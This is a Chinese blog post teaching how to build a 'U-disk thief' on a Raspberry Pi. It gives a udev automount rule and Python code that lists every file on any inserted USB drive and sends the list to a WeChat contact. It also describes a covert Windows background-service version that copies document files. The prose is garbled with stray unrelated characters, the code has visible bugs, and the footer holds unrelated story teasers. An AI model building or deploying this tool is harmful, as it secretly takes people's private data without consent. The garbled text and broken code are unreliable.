Python+樹莓派 制作簡(jiǎn)單黑客工具U-disk-thief(U盤小偷)

最近一直在學(xué)習(xí)Python爬蟲矫膨,可能隨著研究的深入,受到爬蟲技術(shù)的感染期奔,開始對(duì)獲取別人的數(shù)據(jù)產(chǎn)生了興趣侧馅,Python寫網(wǎng)頁(yè)爬蟲是獲取別人網(wǎng)站上的數(shù)據(jù),那可不可以用Python寫一個(gè)程序獲取別人U盤上的數(shù)據(jù)呢呐萌!研究了網(wǎng)上的一些程序馁痴,結(jié)合手上的這塊可以帶來(lái)無(wú)限歡樂的Raspberry Pi,開始制作了我的第一個(gè)簡(jiǎn)單的黑客小工具U-disk-thief(U盤小偷)搁胆。
我們要實(shí)現(xiàn)的效果是弥搞,當(dāng)有U盤插入到樹莓派的USB插口上時(shí),被插入的U盤中文件的名稱及文件路徑信息將生成一個(gè)TXT格式的文件渠旁,之后傳入到你制定的微信當(dāng)中攀例,程序執(zhí)行的速度取決于U盤中文件個(gè)數(shù)的多少。
在這里做一個(gè)說(shuō)明顾腊,寫這個(gè)程序并不是要對(duì)別人的數(shù)據(jù)及隱私進(jìn)行扒竊粤铭,只是為了對(duì)Python編程的學(xué)習(xí)和技術(shù)的研究。話又說(shuō)回來(lái)杂靶,就我周圍這些人的U盤梆惯,也沒什么有價(jià)值的數(shù)據(jù)值得獲取,反而是U盤里攜帶著各種蠕蟲病毒和宏病毒吗垮,經(jīng)常是過(guò)來(lái)找我?guī)兔oU盤殺毒或者是恢復(fù)U盤里被隱藏的文件垛吗,真是不愿意將這些U盤鏈接到電腦上!好了烁登,話不多說(shuō)怯屉,開始我們的制作過(guò)程吧!
1.準(zhǔn)備材料
(1)樹莓派
(2)兩部可以登錄微信的智能手機(jī)(分別用于登錄兩個(gè)互為好友的微信號(hào))
(3)U盤一個(gè)

U盤

2.樹莓派鏈接U盤自動(dòng)識(shí)別
由于樹莓派上安裝的是Linux系統(tǒng)饵沧,無(wú)法對(duì)插入的U盤進(jìn)行自動(dòng)識(shí)別并掛在锨络,在制作前需要在樹莓派上進(jìn)行設(shè)置,實(shí)現(xiàn)鏈接U盤自動(dòng)識(shí)別狼牺,方法如下:

在樹莓派上輸入命令

sudo nano /etc/udev/rules.d/10-usbstorage.rules

復(fù)制粘貼這個(gè)腳本到編輯窗口

   KERNEL!="sd*", GOTO="media_by_label_auto_mount_end"  
   SUBSYSTEM!="block",GOTO="media_by_label_auto_mount_end"
   IMPORT{program}="/sbin/blkid -o udev -p %N"  
   ENV{ID_FS_TYPE}=="", GOTO="media_by_label_auto_mount_end"
   ENV{ID_FS_LABEL}!="", ENV{dir_name}="%E{ID_FS_LABEL}"  
   ENV{ID_FS_LABEL}=="", ENV{dir_name}="Untitled-%k"  
   ACTION=="add", ENV{mount_options}="relatime,sync"  
   ACTION=="add", ENV{ID_FS_TYPE}=="vfat", ENV{mount_options}="iocharset=utf8,umask=000"  
   ACTION=="add", ENV{ID_FS_TYPE}=="ntfs", ENV{mount_options}="iocharset=utf8,umask=000"  
   ACTION=="add", RUN+="/bin/mkdir -p /media/%E{dir_name}", RUN+="/bin/mount -o $env{mount_options} /dev/%k /media/%E{dir_name}"  

   ACTION=="remove", ENV{dir_name}!="", RUN+="/bin/umount -l /media/%E{dir_name}", RUN+="/bin/rmdir /media/%E{dir_name}"  
   LABEL="media_by_label_auto_mount_end"  

保存退出!
再次插入U(xiǎn)盤設(shè)備 會(huì)自動(dòng)掛載到/media目錄下面的目錄被識(shí)別為Untitled-sda1(路徑為/media/Untitled-sda1,記住這個(gè)路徑羡儿,一會(huì)我們將會(huì)用到), 實(shí)現(xiàn)自動(dòng)識(shí)別后可以支持U盤中utf8格式的中文文件名是钥。
3.python代碼

import os
import time 
import shutil
import string
from wxpy import *
#識(shí)別到的U盤路徑
USB = '/media/Untitled-sda1'
#生成TXT文件的保存路徑
SAVE = '/home/pi/usbdisk-copy/'
OLD=[]
#初始化微信機(jī)器人
bot = Bot()
my_friend = bot.friends().search('高桿')[0]
#獲取U盤信息的函數(shù)
def usbWalker():
    if not os.path.exists(SAVE): 
        os.mkdir(SAVE)
    filename="u-copy.txt"
    f=open(filename,"w") 
    for root, dirs, files in os.walk(USB): 
        for file in files:
            export = os.path.join(root,file)
            f.writelines(export+'\n')
    f.close
#檢測(cè)U盤是否重復(fù)的函數(shù)
def getusb():
    global OLD
    NEW=os.listdir(USB)
    if (len(NEW)==len(OLD)):
        return 0
    else:
        OLD=NEW
        return 1
#執(zhí)行程序檢測(cè)U盤是否插入掠归,并進(jìn)行處理!
while TRUE:
    if os.path.exists(USB):
        if getusb():
            try :
                usbWalker()
                try:
                    my_friend.send_file('u-copy.txt')
                except:
                    my_friend.send('Send Error')
            except:
                pass
    else:
        pass
#設(shè)置程序執(zhí)行間隔時(shí)間為10秒
    time.sleep(10)

4.代碼解析
程序代碼比較容易理解咏瑟,首先是檢測(cè)指定的系統(tǒng)路徑下的文件夾是否存在拂到,也就是U盤插入顯示的文件夾USB=/media/Untitled-sda1,若不存在就間隔10秒再次執(zhí)行檢測(cè)码泞,若發(fā)現(xiàn)U盤兄旬,則執(zhí)行獲取U盤信息的函數(shù)def usbWalker(),函數(shù)將生成一個(gè)u-copy.txt的文本文件存儲(chǔ)在'/home/pi/usbdisk-copy/'路徑下余寥,注意這里的usbdisk-copy文件夾是我們提前建好的领铐,并且Python程序文件也存儲(chǔ)在這個(gè)路徑下,u-copy.txt文件生成后將發(fā)送到制定的微信中(這一步的具體實(shí)現(xiàn)方法可以參照我之前的兩篇文章《Python+樹莓派 實(shí)現(xiàn)微信拍照宋舷、攝相機(jī)器人》《Python+樹莓派+人體紅外感應(yīng)模塊 實(shí)現(xiàn)微信監(jiān)控》關(guān)于微信機(jī)器人的使用)绪撵。若U盤一直插在樹莓派上,則一直進(jìn)行著程序祝蝠,這樣就會(huì)反復(fù)生成u-copy.txt文件音诈,這樣很不合理幻碱,所以在執(zhí)行生成txt文件函數(shù)前,先執(zhí)行檢測(cè)U盤是否重復(fù)的函數(shù)def getusb()细溅,進(jìn)行簡(jiǎn)單的重復(fù)比較褥傍,若發(fā)現(xiàn)重復(fù)則不執(zhí)行def usbWalker()函數(shù)。
5.應(yīng)用擴(kuò)展
這個(gè)程序同樣可以修改后在windows系統(tǒng)上執(zhí)行喇聊,修改代碼增加文件拷貝函數(shù)恍风,不但可以讀取到U盤的文件名稱和路徑,還能copy文件詳細(xì)內(nèi)容誓篱,或者可以指定copyU盤中那些類型的文件(.doc/.xls/.ppt/.txt......)朋贬,也可以省去微信發(fā)送的環(huán)節(jié),將copy的文件存儲(chǔ)起來(lái)窜骄,由于樹莓派的存儲(chǔ)空間比較小锦募,這里沒有這么做,但是我在windows系統(tǒng)上完成了上述擴(kuò)展的程序邻遏,并且用Python的打包工具pyinstaller 將程序打包成了.exe執(zhí)行程序,還設(shè)置成windows的本地服務(wù)后臺(tái)運(yùn)行御滩,這樣就可以更加神不知鬼不覺的獲取U盤數(shù)據(jù)。

以上就是這個(gè)簡(jiǎn)單的黑客小工具制作党远,這里純粹是為了技術(shù)的分享削解,若你用這種方式做了一些bad thing,請(qǐng)后果自負(fù)沟娱,是不是腦袋里已經(jīng)想著要copy誰(shuí)的U盤啦氛驮!慎重、慎重<盟啤=梅稀!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末砰蠢,一起剝皮案震驚了整個(gè)濱河市蓖扑,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌台舱,老刑警劉巖律杠,帶你破解...
    沈念sama閱讀 217,084評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異竞惋,居然都是意外死亡柜去,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,623評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門拆宛,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)嗓奢,“玉大人,你說(shuō)我怎么就攤上這事浑厚」傻ⅲ” “怎么了根盒?”我有些...
    開封第一講書人閱讀 163,450評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)物蝙。 經(jīng)常有香客問(wèn)我郑象,道長(zhǎng),這世上最難降的妖魔是什么茬末? 我笑而不...
    開封第一講書人閱讀 58,322評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮盖矫,結(jié)果婚禮上丽惭,老公的妹妹穿的比我還像新娘。我一直安慰自己辈双,他們只是感情好责掏,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,370評(píng)論 6 390
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著湃望,像睡著了一般换衬。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上证芭,一...
    開封第一講書人閱讀 51,274評(píng)論 1 300
  • 那天瞳浦,我揣著相機(jī)與錄音,去河邊找鬼废士。 笑死叫潦,一個(gè)胖子當(dāng)著我的面吹牛途戒,可吹牛的內(nèi)容都是我干的次哈。 我是一名探鬼主播揭朝,決...
    沈念sama閱讀 40,126評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼丽旅,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼近零!你這毒婦竟也來(lái)了鹏溯?” 一聲冷哼從身側(cè)響起它碎,我...
    開封第一講書人閱讀 38,980評(píng)論 0 275
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤券敌,失蹤者是張志新(化名)和其女友劉穎岖研,沒想到半個(gè)月后卿操,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,414評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡孙援,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,599評(píng)論 3 334
  • 正文 我和宋清朗相戀三年硬纤,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片赃磨。...
    茶點(diǎn)故事閱讀 39,773評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡筝家,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出邻辉,到底是詐尸還是另有隱情溪王,我是刑警寧澤腮鞍,帶...
    沈念sama閱讀 35,470評(píng)論 5 344
  • 正文 年R本政府宣布,位于F島的核電站莹菱,受9級(jí)特大地震影響移国,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜道伟,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,080評(píng)論 3 327
  • 文/蒙蒙 一迹缀、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧蜜徽,春花似錦祝懂、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,713評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至盆色,卻和暖如春灰蛙,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背隔躲。 一陣腳步聲響...
    開封第一講書人閱讀 32,852評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工摩梧, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人宣旱。 一個(gè)月前我還...
    沈念sama閱讀 47,865評(píng)論 2 370
  • 正文 我出身青樓障本,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親响鹃。 傳聞我的和親對(duì)象是個(gè)殘疾皇子驾霜,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,689評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容